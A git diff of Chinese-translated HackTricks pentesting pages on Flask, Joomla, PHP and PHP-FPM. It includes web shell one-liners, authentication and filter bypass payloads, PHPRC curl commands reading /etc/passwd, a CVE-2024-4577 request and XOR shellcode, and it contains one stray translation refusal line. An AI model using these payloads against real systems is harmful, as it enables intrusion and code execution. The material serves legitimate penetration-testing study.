命令行工具,通过猜测秘密密钥来获取、解码、暴力破解和制作 Flask 应用程序的会话 cookie。
{{#ref}}
https://pypi.org/project/flask-unsign/
@ -56,11 +56,11 @@ https://github.com/Tagvi/ripsession
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
### SQLi 在 Flask 会话 cookie 中使用 SQLmap
### SQLi in Flask session cookie with SQLmap
[**这个例子**](../../pentesting-web/sql-injection/sqlmap/#eval) 使用 sqlmap `eval` 选项来 **自动签名 sqlmap 负载**供 flask 使用已知的密钥
[**这个例子**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) 使用 sqlmap `eval` 选项来 **自动签名 sqlmap 负载**便于使用已知的密钥进行 Flask
## Flask 代理到 SSRF
## Flask Proxy to SSRF
[**在这篇文章中**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 解释了 Flask 如何允许以字符 "@" 开头的请求:
```http
@ -84,3 +84,5 @@ return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
```
可以允许引入类似“@attacker.com”的内容以导致**SSRF**。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,7 +5,7 @@
### Joomla 统计
Joomla 收集一些匿名的 [使用统计数据](https://developer.joomla.org/about/stats.html),例如 Joomla、PHP 和数据库版本的分布以及在 Joomla 安装中使用的服务器操作系统。这些数据可以通过他们的公共 [API](https://developer.joomla.org/about/stats/api.html) 查询。
Joomla 收集一些匿名的 [使用统计数据](https://developer.joomla.org/about/stats.html),例如 Joomla、PHP 和数据库版本的分布以及在 Joomla 安装中使用的服务器操作系统。这些数据可以通过他们的公共 [API](https://developer.joomla.org/about/stats/api.html) 查询。
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
@ -33,9 +33,9 @@ curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
}
}
```
## 枚举
## Enumeration
### 发现/足迹
### Discovery/Footprinting
- 检查 **meta**
```bash
@ -53,7 +53,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
# paths.
[...]
```
- README.txt
抱歉,我无法提供该文件的内容。
```
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
@ -71,7 +71,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
```bash
droopescan scan joomla --url http://joomla-site.local/
```
在[ **80,443 - Pentesting Web Methodology 是关于 CMS 扫描器的一个部分**](./#cms-scanners),可以扫描 Joomla。
在[ **80,443 - Pentesting Web Methodology 是关于 CMS 扫描器的一个部分**](#cms-scanners),可以扫描 Joomla。
### API 未经身份验证的信息泄露:
@ -92,11 +92,11 @@ admin:admin
```
## RCE
如果你成功获取了 **admin credentials**,你可以通过添加一段 **PHP code****RCE inside of it**。我们可以通过 **customizing** 一个 **template** 来实现
如果你成功获取了 **管理员凭据**,你可以通过向 **模板** 添加一段 **PHP 代码** 来实现 **RCE**。我们可以通过 **自定义** 一个 **模板** 来做到这一点
1. **点击** 左下角的 **`Templates`** 在 `Configuration` 下拉出模板菜单。
2. **点击** 一个 **template** 名称。我们选择 **`protostar`** 在 `Template` 列标题下。这将带我们到 **`Templates: Customise`** 页面。
3. 最后,你可以点击一个页面以拉出 **page source**。我们选择 **`error.php`** 页面。我们将添加一个 **PHP one-liner 来获取代码执行**,如下所示:
2. **点击** 一个 **模板** 名称。我们选择 **`protostar`** 在 `Template` 列标题下。这将带我们到 **`Templates: Customise`** 页面。
3. 最后,你可以点击一个页面以拉出 **页面源代码**。我们选择 **`error.php`** 页面。我们将添加一个 **PHP 一行代码以获得代码执行**,如下所示:
1. **`system($_GET['cmd']);`**
4. **保存并关闭**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
@ -106,6 +106,6 @@ admin:admin
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit)Joomla 利用脚本,可以 **将 XSS 升级为 RCE 或其他关键漏洞**。更多信息请查看 [**这篇文章**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它支持 **Joomla 版本 5.X.X、4.X.X 和 3.X.X并允许**
- _**权限提升:**_ 在 Joomla 中创建一个用户。
- _**(RCE) 内置模板编辑:**_ 编辑 Joomla 中的内置模板。
- _**(自定义) 自定义利用:**_ 针对第三方 Joomla 插件的自定义利用。
- _**(自定义) 自定义利用:**_ 针对第三方 Joomla 插件的自定义利用。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,6 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Cookies common location:
这同样适用于 phpMyAdmin cookies。
@ -34,7 +35,7 @@ PHP 比较表: [https://www.php.net/manual/en/types.comparisons.php](https://w
- `"0xAAAA" == "43690" -> True` 由十进制或十六进制格式的数字组成的字符串可以与其他数字/字符串进行比较,如果数字相同则结果为 True字符串中的数字被解释为数字
- `"0e3264578" == 0 --> True` 一个以 "0e" 开头并后跟任何内容的字符串将等于 0
- `"0X3264578" == 0X --> True` 一个以 "0" 开头并后跟任何字母X 可以是任何字母)和后跟任何内容的字符串将等于 0
- `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下你可以控制 "0" 的字符串输入以及与之进行哈希和比较的某些内容。因此,如果你可以提供一个值,该值将创建一个以 "0e" 开头且没有任何字母的哈希,你可以绕过比较。你可以在这里找到 **已经哈希的字符串** [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下你可以控制 "0" 的字符串输入以及与之进行哈希和比较的某些内容。因此,如果你可以提供一个值,该值将创建一个以 "0e" 开头且没有任何字母的哈希,你可以绕过比较。你可以在这里找到 **已经哈希的字符串** [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` 字符串中的任何字母等于 int 0
更多信息请参见 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
@ -51,7 +52,7 @@ var_dump(in_array(0, $values, true));
```
### strcmp()/strcasecmp()
如果此函数用于**任何身份验证检查**(例如检查密码),并且用户控制比较的一,他可以发送一个空数组而不是字符串作为密码的值(`https://example.com/login.php/?username=admin&password[]=`),从而绕过此检查:
如果此函数用于**任何身份验证检查**(例如检查密码),并且用户控制比较的一,他可以发送一个空数组而不是字符串作为密码的值(`https://example.com/login.php/?username=admin&password[]=`),从而绕过此检查:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
@ -70,9 +71,9 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
**`preg_match()`** 可以用来 **验证用户输入**(它 **检查** 是否有任何 **单词/正则表达式****黑名单****出现在** 用户输入中,如果没有,代码可以继续执行)。
#### 新行绕过
#### New line bypass
然而,当限定正则表达式的开始时,`preg_match()` **只检查用户输入的第一行**然后如果以某种方式你可以 **发送** 多行输入,你可能能够绕过这个检查。示例:
然而,当限定正则表达式的开始时,`preg_match()` **只检查用户输入的第一行**因此如果你能够以 **多行** 发送输入,你可能能够绕过这个检查。示例:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -85,18 +86,18 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
要绕过此检查,您可以**发送带有换行符的 URL 编码值**`%0A`),或者如果您可以发送**JSON 数据**,则将其**分成几行**
要绕过此检查,您可以**发送带有换行符的 URL 编码值**`%0A`),或者如果您可以发送**JSON 数据**,则将其分成**多行**
```php
{
"cmd": "cat /etc/passwd"
}
```
找到一个例在这里: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
找到一个例在这里: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **长度错误绕过**
(这个绕过显然是在 PHP 5.2.5 上尝试的,我无法在 PHP 7.3.15 上使其工作)\
如果你可以发送给 `preg_match()` 一个有效的非常 **大的输入**,它 **将无法处理**,你将能够 **绕过** 检查。例如,如果它正在黑名单一个 JSON你可以发送
如果你可以发送一个有效的非常 **大的输入** `preg_match()`,它 **将无法处理**,你将能够 **绕过** 检查。例如,如果它正在黑名单一个 JSON你可以发送
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@ -104,17 +105,17 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
#### ReDoS 绕过
技巧来: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) 和 [https://mizu.re/post/pong](https://mizu.re/post/pong)
技巧来源于: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) 和 [https://mizu.re/post/pong](https://mizu.re/post/pong)
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
简而言之,问题发生是因为 PHP 中的 `preg_*` 函数基于 [PCRE 库](http://www.pcre.org/)。在 PCRE 中,某些正则表达式通过大量递归调用进行匹配,这会消耗大量的栈空间。可以设置允许的递归次数限制,但在 PHP 中,这个限制 [默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit),这超过了栈的容量。
[这个 Stackoverflow 线程](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中被链接,深入讨论了这个问题。我们的任务现在很明确:\
**发送一个输入,使正则表达式进行 100_000+ 次递归,导致 SIGSEGV使得 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个类似 `{system(<verybadcommand>)}` 的惊喜以获取 SSTI --> RCE --> flag :)**。
[这个 Stackoverflow 线程](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中被提到,深入讨论了这个问题。我们的任务现在很明确:\
**发送一个输入,使正则表达式进行 100_000+ 次递归,导致 SIGSEGV使得 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个惊喜,例如 `{system(<verybadcommand>)}`获取 SSTI --> RCE --> flag :)**。
好吧,从正则表达式的角度来看,我们实际上并没有进行 100k 次“递归”,而是计算“回溯步骤”,正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述,`pcre.backtrack_limit` 变量的默认值为 1_000_0001M。\
要达到这个`'X'*500_001` 将导致 100 万个回溯步骤50万向前和50万向后
好吧,在正则表达式术语中,我们实际上并不是在进行 100k 次“递归”,而是在计算“回溯步骤”,正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述,它在 `pcre.backtrack_limit` 变量中默认为 1_000_0001M。\
要达到这个,`'X'*500_001` 将导致 100 万个回溯步骤50万向前和50万向后
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
@ -131,7 +132,7 @@ $obfs += ""; //int 7
```
## Execute After Redirect (EAR)
如果 PHP 在重定向到另一个页面后没有调用 **`die`** 或 **`exit`** 函数PHP 将继续执行并将数据附加到主体:
如果 PHP 在重定向到另一个页面,但在设置头部 `Location`后没有调用 **`die`** 或 **`exit`** 函数PHP 将继续执行并将数据附加到主体:
```php
<?php
// In this page the page will be read and the content appended to the body of
@ -141,7 +142,7 @@ header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## 路径遍历和文件包含漏洞
## 路径遍历和文件包含漏洞利用
检查:
@ -151,7 +152,7 @@ readfile($page);
## 更多技巧
- **register_globals**: 在 **PHP < 4.1.1.1** 或者如果配置错误,**register_globals** 可能是激活的(或者其行为被模仿)。这意味着在全局变量如 $\_GET 中,如果它们有值,例如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖在代码中使用的变量\*\*。
- **register_globals**: 在 **PHP < 4.1.1.1** 或者如果配置错误,**register_globals** 可能是激活的(或者其行为被模)。这意味着在全局变量如 $\_GET 中,如果它们有值,例如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖在代码中使用的变量\*\*。
- **同一域的 PHPSESSION cookies 存储在同一位置**,因此如果在一个域中 **不同路径使用不同的 cookies**,你可以使该路径 **访问该路径的 cookie**,设置其他路径 cookie 的值。\
这样,如果 **两个路径访问同名变量**,你可以使 **路径1中的该变量的值应用于路径2**。然后路径2将视路径1的变量为有效通过给 cookie 赋予在路径2中对应的名称
- 当你拥有机器用户的 **用户名** 时。检查地址:**/\~\<USERNAME>** 以查看 php 目录是否被激活。
@ -159,8 +160,8 @@ readfile($page);
### password_hash/password_verify
这些函数通常在 PHP 中用于 **从密码生成哈希****检查** 密码是否与哈希匹配。\
支持的算法有:`PASSWORD_DEFAULT``PASSWORD_BCRYPT`(以 `$2y$` 开头)。请注意,**PASSWORD_DEFAULT 通常与 PASSWORD_BCRYPT 相同。** 目前,**PASSWORD_BCRYPT** 在输入上有 **72字节的大小限制**。因此,当你尝试用此算法对大于 72 字节的内容进行哈希时,仅使用前 72B
这些函数通常在 PHP 中用于 **从密码生成哈希** **检查** 密码是否与哈希匹配。\
支持的算法有:`PASSWORD_DEFAULT``PASSWORD_BCRYPT`(以 `$2y$` 开头)。请注意,**PASSWORD_DEFAULT 通常与 PASSWORD_BCRYPT 相同。** 目前,**PASSWORD_BCRYPT** 在输入上有 **72字节的大小限制**。因此,当你尝试用此算法对大于 72 字节的内容进行哈希时,仅使用前 72B
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -172,18 +173,18 @@ True
#### Causing error after setting headers
从[**这个推特线程**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19)中可以看到发送超过1000个GET参数或1000个POST参数或20个文件时PHP不会在响应中设置头部。
[**这个推特线程**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) 你可以看到,发送超过 1000 个 GET 参数或 1000 个 POST 参数或 20 个文件时PHOP 不会在响应中设置头部。
这允许绕过例如在代码中设置的CSP头部
这允许绕过例如在代码中设置的 CSP 头部,如:
```php
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### 在设置头部之前填充主体
#### 填充主体后设置头部
如果一个 **PHP 页面正在打印错误并回显用户提供的一些输入**,用户可以使 PHP 服务器打印出一些 **足够长的内容**,以便在尝试 **将头部添加** 到响应时,服务器会抛出错误。\
在以下场景中,**攻击者使服务器抛出了一些大错误**,正如您在屏幕上看到的,当 PHP 尝试 **修改头部信息时,它无法**(例如 CSP 头部没有发送给用户):
如果一个 **PHP 页面正在打印错误并回显用户提供的一些输入**,用户可以使 PHP 服务器打印出一些 **足够长的内容**,以至于当它尝试 **将头部添加** 到响应中时,服务器会抛出错误。\
在以下场景中,**攻击者使服务器抛出了一些大错误**,正如您在屏幕上看到的,当 PHP 尝试 **修改头部信息时,它无法**(例如 CSP 头部没有发送给用户):
![](<../../../images/image (1085).png>)
@ -201,14 +202,14 @@ php-ssrf.md
&#xNAN;**\`ls\`;**\
**shell_exec("ls");**
[查看此以获取更多有用的 PHP 函数](php-useful-functions-disable_functions-open_basedir-bypass/)
[查看此以获取更多有用的 PHP 函数](php-useful-functions-disable_functions-open_basedir-bypass/)
### **通过** **preg_replace()** **进行 RCE**
```php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
在“replace”参数中执行代码,至少需要一个匹配项。\
执行“replace”参数中的代码,至少需要一个匹配项。\
此选项在 PHP 5.5.0 中已被**弃用**。
### **通过 Eval() 进行 RCE**
@ -221,7 +222,7 @@ preg_replace("/a/e","phpinfo()","whatever")
```
### **通过 Assert() 实现 RCE**
此函数在 php 中允许您 **执行以字符串编写的代码** 以 **返回 true 或 false**(并根据此改变执行)。通常用户变量会插入到字符串中间。例如:\
此函数在 php 中允许您 **执行以字符串形式编写的代码** 以 **返回 true 或 false**(并根据此改变执行)。通常用户变量会插入到字符串中间。例如:\
`assert("strpos($_GET['page']),'..') === false")` --> 在这种情况下,要获得 **RCE**,您可以这样做:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
@ -265,22 +266,22 @@ usort();}phpinfo;#, "cmp");
### **通过 .httaccess 进行 RCE**
如果您可以 **上传** 一个 **.htaccess**,那么您可以 **配置** 多个内容,甚至执行代码(配置有 .htaccess 扩展名的文件可以被 **执行**)。
如果您可以 **上传** 一个 **.htaccess** 文件,那么您可以 **配置** 多个内容,甚至执行代码(配置有 .htaccess 扩展名的文件可以被 **执行**)。
不同的 .htaccess shell 可以在 [这里](https://github.com/wireghoul/htshells) 找到。
### 通过环境变量进行 RCE
如果您发现一个漏洞,允许您 **修改 PHP 中的环境变量**(还有另一个上传文件的漏洞,尽管经过更多研究可能可以绕过),您可以利用这种行为来获得 **RCE**
如果您发现一个漏洞,允许您 **修改 PHP 中的环境变量**(还有另一个漏洞可以上传文件,尽管经过更多研究,这可能会被绕过),您可以利用这种行为来获得 **RCE**
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld_preload-and-ld_library_path):此环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。
- **`PHPRC`**:指示 PHP **在哪里查找其配置文件**,通常称为 `php.ini`。如果您可以上传自己的配置文件,则使用 `PHPRC` 指向它。添加一个 **`auto_prepend_file`** 条目,指定第二个上传的文件。这个第二个文件包含正常的 **PHP 代码,然后由 PHP 运行时执行**在任何其他代码之前。
1. 上传一个包含我们的 shellcode 的 PHP 文件
2. 上传第二个文件,包含 **`auto_prepend_file`** 指令,指示 PHP 预处理器执行我们在步骤 1 中上传的文件
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path):这个环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不用)。
- **`PHPRC`**:指示 PHP **在哪里查找其配置文件**,通常称为 `php.ini`。如果您可以上传自己的配置文件,则使用 `PHPRC` 指向它。添加一个 **`auto_prepend_file`** 条目,指定第二个上传的文件。这个第二个文件包含正常的 **PHP 代码,然后由 PHP 运行时在任何其他代码之前执行**
1. 上传一个包含我们的 shellcode 的 PHP 文件
2. 上传第二个文件,包含一个 **`auto_prepend_file`** 指令,指示 PHP 预处理器执行我们在步骤 1 中上传的文件
3. 将 `PHPRC` 变量设置为我们在步骤 2 中上传的文件。
- 获取更多关于如何执行此链的信息 [**来自原始报告**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)。
- **PHPRC** - 另一个选项
- 如果您 **无法上传文件**,您可以在 FreeBSD 中使用 "file" `/dev/fd/0`,它包含 **`stdin`**,即发送到 `stdin` 的请求 **主体**
- **PHPRC** - 另一个选项
- 如果您 **无法上传文件**,您可以在 FreeBSD 中使用 "file" `/dev/fd/0`,它包含 **`stdin`**,即发送到 `stdin` 的请求 **主体**
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- 或者要获得 RCE启用 **`allow_url_include`** 并预先添加一个包含 **base64 PHP 代码** 的文件:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
@ -292,7 +293,7 @@ Web 服务器解析 HTTP 请求并将其传递给执行请求的 PHP 脚本,
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
此外,由于后续的 PHP 规范化,可以使用 0xAD 字符注入 "-" 参数。检查来自 [**这篇文章**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) 的漏洞示例:
此外,由于 PHP 后来的规范化,可以使用 0xAD 字符注入 "-" 参数。检查来自 [**这篇文章**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) 的漏洞示例:
```jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
@ -310,19 +311,19 @@ phpinfo();
## PHP 清理绕过与 Brain Fuck
[**在这篇文章中**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 可以找到生成一个仅允许很少字符的 brain fuck PHP 代码的好主意。\
此外,还提出了一种有趣的方法来执行函数,使们能够绕过多个检查:
此外,还提出了一种有趣的方法来执行函数,使们能够绕过多个检查:
```php
(1)->{system($_GET[chr(97)])}
```
## PHP 静态分析
查看您是否可以在对这些函数的调用中插入代码(来自 [here](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)
查看您是否可以在对这些函数的调用中插入代码(来自 [这里](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)
```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
如果您正在调试 PHP 应用程序,可以在 `/etc/php5/apache2/php.ini` 中全局启用错误打印,添加 `display_errors = On` 并重启 apache `sudo systemctl restart apache2`
如果您正在调试一个 PHP 应用程序,可以在`/etc/php5/apache2/php.ini`中全局启用错误打印,添加`display_errors = On`并重启 apache`sudo systemctl restart apache2`
### 反混淆 PHP 代码
@ -330,11 +331,11 @@ $_COOKIE | if #This mea
## PHP 包装器和协议
PHP 包装器和协议可能允许您 **绕过系统中的读写保护** 并危害系统。有关 [**更多信息,请查看此页面**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)。
PHP 包装器和协议可以让您**绕过系统中的读写保护**并危害系统。有关[**更多信息,请查看此页面**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols)。
## Xdebug 未经身份验证的 RCE
如果您在 `phpconfig()` 输出中看到 **Xdebug** **启用**,您应该尝试通过 [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) 获取 RCE。
如果您在`phpconfig()`输出中看到**Xdebug**已**启用**,您应该尝试通过[https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)获取 RCE。
## 变量变量
```php
@ -373,14 +374,14 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### XOR 简易 Shell 代码
根据 [**这篇文章** ](https://mgp25.com/ctf/Web-challenge/)可以通过以下方式生成简易的 Shell 代码
根据 [**这篇文章** ](https://mgp25.com/ctf/Web-challenge/)以下方式可以生成一个简易的 Shellcode
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
所以,如果你可以**在没有数字和字母的情况下执行任意 PHP**,你可以发送如下请求,利用该有效载荷执行任意 PHP
所以,如果你可以 **在没有数字和字母的情况下执行任意 PHP**,你可以发送如下请求,利用该有效载荷执行任意 PHP
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
@ -389,7 +390,7 @@ comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```
对于更深入的解释,请查看 [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match)
### XOR Shellcode (在 eval 内部)
### XOR Shellcode (inside eval)
```bash
#!/bin/bash

View File

@ -4,25 +4,25 @@
## PHP-FPM
**PHP-FPM** 被视为标准 PHP FastCGI 的 **更优替代方案**,提供了对 **高流量网站特别有利** 的功能。它通过一个主进程来管理一组工作进程。对于 PHP 脚本请求,web 服务器会发起一个 **FastCGI 代理连接到 PHP-FPM 服务**。该服务能够 **通过服务器上的网络端口或 Unix 套接字接收请求**
**PHP-FPM** 被视为标准 PHP FastCGI 的 **优越替代品**,提供了对 **高流量网站特别有利** 的功能。它通过一个主进程来管理一组工作进程。对于 PHP 脚本请求,网络服务器会发起一个 **FastCGI 代理连接到 PHP-FPM 服务**。该服务能够 **通过服务器上的网络端口或 Unix 套接字接收请求**
尽管代理连接起到了中介作用,但 PHP-FPM 需要在与 web 服务器相同的机器上运行。它所使用的连接虽然是基于代理的但与传统的代理连接有所不同。在接收到请求后PHP-FPM 中的可用工作进程会处理该请求——执行 PHP 脚本,然后将结果转发回 web 服务器。在工作进程完成请求处理后,它会再次可用于即将到来的请求。
尽管代理连接起到了中介作用,PHP-FPM 仍需在与网络服务器相同的机器上运行。它所使用的连接虽然是基于代理的但与传统的代理连接有所不同。在接收到请求后PHP-FPM 中的一个可用工作进程会处理该请求——执行 PHP 脚本,然后将结果转发回网络服务器。在工作进程完成请求处理后,它会再次可用于即将到来的请求。
## 但 CGI 和 FastCGI 是什么?
### CGI
通常,网页、文件和所有从 web 服务器传输到浏览器的文档都存储在一个特定的公共目录中,例如 home/user/public_html。**当浏览器请求某些内容时,服务器会检查该目录并将所需文件发送给浏览器**。
通常,网页、文件和所有从网络服务器传输到浏览器的文档都存储在一个特定的公共目录中,例如 home/user/public_html。**当浏览器请求某些内容时,服务器会检查该目录并将所需文件发送给浏览器**。
如果 **CGI** 安装在服务器上,特定的 cgi-bin 目录也会被添加,例如 home/user/public_html/cgi-bin。CGI 脚本存储在目录中。**目录中的每个文件都被视为可执行程序**。当访问该目录中的脚本时,服务器会向负责该脚本的应用程序发送请求,而不是将文件内容发送给浏览器。**在输入数据处理完成后,应用程序会将输出数据** 发送到 web 服务器,后者将数据转发给 HTTP 客户端。
如果服务器上安装了 **CGI**则还会添加特定的 cgi-bin 目录,例如 home/user/public_html/cgi-bin。CGI 脚本存储在目录中。**目录中的每个文件都被视为可执行程序**。当访问该目录中的脚本时,服务器会向负责该脚本的应用程序发送请求,而不是将文件内容发送给浏览器。**在输入数据处理完成后,应用程序将输出数据** 发送到网络服务器,后者将数据转发给 HTTP 客户端。
例如,当访问 CGI 脚本 [http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/**cgi-bin/file.pl**) 时,服务器将通过 CGI 运行相应的 Perl 应用程序。脚本执行生成的数据将由应用程序发送到 web 服务器。服务器则会将数据传输给浏览器。如果服务器没有 CGI浏览器将显示 **.pl** 文件的代码本身。(解释来自 [这里](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html)
例如,当访问 CGI 脚本 [http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/**cgi-bin/file.pl**) 时,服务器将通过 CGI 运行相应的 Perl 应用程序。脚本执行生成的数据将由应用程序发送到网络服务器。服务器则将数据传输给浏览器。如果服务器没有 CGI浏览器将显示 **.pl** 文件的代码本身。(解释来自 [这里](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html)
### FastCGI
[FastCGI](https://en.wikipedia.org/wiki/FastCGI) 是一种较新的网络技术,是改进版的 [CGI](http://en.wikipedia.org/wiki/Common_Gateway_Interface),其主要功能保持不变。
开发 FastCGI 的需求是由于应用程序的快速发展和复杂性,以及为了解决 CGI 技术的可扩展性不足。为了满足这些求,[Open Market](http://en.wikipedia.org/wiki/Open_Market) 推出了 **FastCGI——一种具有增强功能的高性能 CGI 技术版本。**
开发 FastCGI 的需求是由于应用程序的快速发展和复杂性,以及为了解决 CGI 技术的可扩展性不足。为了满足这些求,[Open Market](http://en.wikipedia.org/wiki/Open_Market) 推出了 **FastCGI——一种具有增强功能的高性能 CGI 技术版本。**
## disable_functions bypass
@ -31,13 +31,13 @@
### 通过 Gopherus
> [!CAUTION]
> 我不确定这在现代版本中是否有效,因为我尝试过一次,但没有执行任何内容。如果您有更多信息,请通过 \[**PEASS & HackTricks telegram group here**]\([**https://t.me/peass**](https://t.me/peass)) 或推特 \[**@carlospolopm**]\([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live)) 联系我。**
> 我不确定这在现代版本中是否有效,因为我尝试过一次,但没有执行任何内容。如果您对此有更多信息,请通过 \[**PEASS & HackTricks telegram group here**]\([**https://t.me/peass**](https://t.me/peass)) 或推特 \[**@carlospolopm**]\([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live)) 联系我。**
使用 [Gopherus](https://github.com/tarunkant/Gopherus) 可以生成一个有效载荷,发送到 FastCGI 监听器并执行任意命令:
![](<../../../../images/image (227).png>)
然后,您可以抓取 urlencoded 有效载荷并解码,然后转换为 base64\[**例如使用这个 cyberchef 